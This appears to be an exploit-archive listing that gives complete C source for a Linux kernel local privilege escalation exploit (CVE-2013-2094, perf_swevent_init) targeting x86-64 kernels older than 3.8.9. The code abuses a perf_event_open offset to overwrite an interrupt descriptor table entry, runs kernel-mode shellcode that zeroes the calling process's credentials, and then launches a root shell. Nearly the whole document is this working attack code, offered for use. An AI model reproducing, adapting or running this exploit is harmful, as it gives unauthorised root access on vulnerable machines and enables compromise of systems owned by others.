Linux Kernel < 3.8.9 (x86-64) - 'perf_swevent_init' Local Privilege Escalation (2)
/* * CVE-2013-2094 exploit x86_64 Linux < 3.8.9 * by sorbo (sorbo@darkircop.org) June 2013 * * Based on sd's exploit. Supports more targets. * */ #define _GNU_SOURCE #include <string.h> #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <stdint.h> #include <sys/syscall.h> #include <sys/mman.h> #include <linux/perf_event.h> #include <signal.h> #include <assert.h> #define BASE 0x380000000 #define BASE_JUMP 0x1780000000 #define SIZE 0x10000000 #define KSIZE 0x2000000 #define TMP(x) (0xdeadbeef + (x)) struct idt { uint16_t limit; uint64_t addr; } __attribute__((packed)); static int _fd; static int perf_open(uint64_t off) { struct perf_event_attr attr; int rc; // printf("perf open %lx [%d]\n", off, (int) off); memset(&attr, 0, sizeof(attr)); attr.type = PERF_TYPE_SOFTWARE; attr.size = sizeof(attr); attr.config = off; attr.mmap = 1; attr.comm = 1; attr.exclude_kernel = 1; rc = syscall(SYS_perf_event_open, &attr, 0, -1, -1, 0); return rc; } void __sc_start(void); void __sc_next(void); void __sc(void) { asm("__sc_start:\n" "call __sc_next\n" "iretq\n" "__sc_next:\n"); } void sc(void) { int i, j; uint8_t *current = *(uint8_t **)(((uint64_t) &i) & (-8192)); uint64_t kbase = ((uint64_t)current) >> 36; int uid = TMP(1); int gid = TMP(2); for (i = 0; i < 4000; i += 4) { uint64_t *p = (void *) ¤t[i]; uint32_t *cred = (uint32_t*) p[0]; if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue; for (j = 0; j < 20; j++) { if (cred[j] == uid && cred[j + 1] == gid) { for (i = 0; i < 8; i++) { cred[j + i] = 0; return; } } } } } static void sc_replace(uint8_t *sc, uint32_t needle, uint32_t val) { void *p; p = memmem(sc, 900, &needle, sizeof(needle)); if (!p) errx(1, "can't find %x", needle); memcpy(p, &val, sizeof(val)); } static void *map_mem(uint64_t addr) { void *p; p = mmap((void*) addr, SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0); if (p == MAP_FAILED) err(1, "mmap()"); return p; } static int find_mem(void *mem, uint8_t c) { int i; uint8_t *p = mem; for (i = 0; i < SIZE; i++) { if (p[i] == c) return i; } return -1; } static void dropshell() { if (setuid(0) != 0) errx(1, "failed"); printf("Launching shell\n"); execl("/bin/sh", "sh", NULL); exit(0); } void morte(int x) { printf("Got signal\n"); close(_fd); dropshell(); } static void trigger(int intr) { switch (intr) { case 0: do { int z = 1; int a = 1; z--; a /= z; } while (0); break; case 4: asm("int $4"); break; case 0x80: asm("int $0x80"); break; default: errx(1, "unknown intr %d", intr); } sleep(3); } int main(int argc, char *argv[]) { uint32_t *p[2]; int fd, i; uint64_t off; uint64_t addr = BASE; struct idt idt; uint8_t *kbase; int sz = 4; int intr = 4; printf("Searchin...\n"); p[0] = map_mem(BASE); p[1] = map_mem(BASE_JUMP); memset(p[1], 0x69, SIZE); off = 0xFFFFFFFFL; fd = perf_open(off); close(fd); i = find_mem(p[0], 0xff); if (i == -1) { i = find_mem(p[1], 0x68); if (i == -1) errx(1, "Can't find overwrite"); sz = 24; addr = BASE_JUMP; printf("detected CONFIG_JUMP_LABEL\n"); } munmap(p[0], SIZE); munmap(p[1], SIZE); addr += i; addr -= off * sz; printf("perf_swevent_enabled is at 0x%lx\n", addr); asm("sidt %0" : "=m" (idt)); printf("IDT at 0x%lx\n", idt.addr); off = addr - idt.addr; off -= 8; switch (off % sz) { case 0: intr = 0; break; case 8: intr = 0x80; break; case 16: intr = 4; break; default: errx(1, "remainder %d", off % sz); } printf("Using interrupt %d\n", intr); off -= 16 * intr; assert((off % sz) == 0); off /= sz; off = -off; // printf("Offset %lx\n", off); kbase = (uint8_t*) (idt.addr & 0xFF000000); printf("Shellcode at %p\n", kbase); if (mmap(kbase, KSIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0) == MAP_FAILED) err(1, "mmap()"); memset(kbase, 0x90, KSIZE); kbase += KSIZE - 1024; i = __sc_next - __sc_start; memcpy(kbase, __sc_start, i); kbase += i; memcpy(kbase, sc, 900); sc_replace(kbase, TMP(1), getuid()); sc_replace(kbase, TMP(2), getgid()); signal(SIGALRM, morte); alarm(2); printf("Triggering sploit\n"); _fd = perf_open(off); trigger(intr); exit(0); } |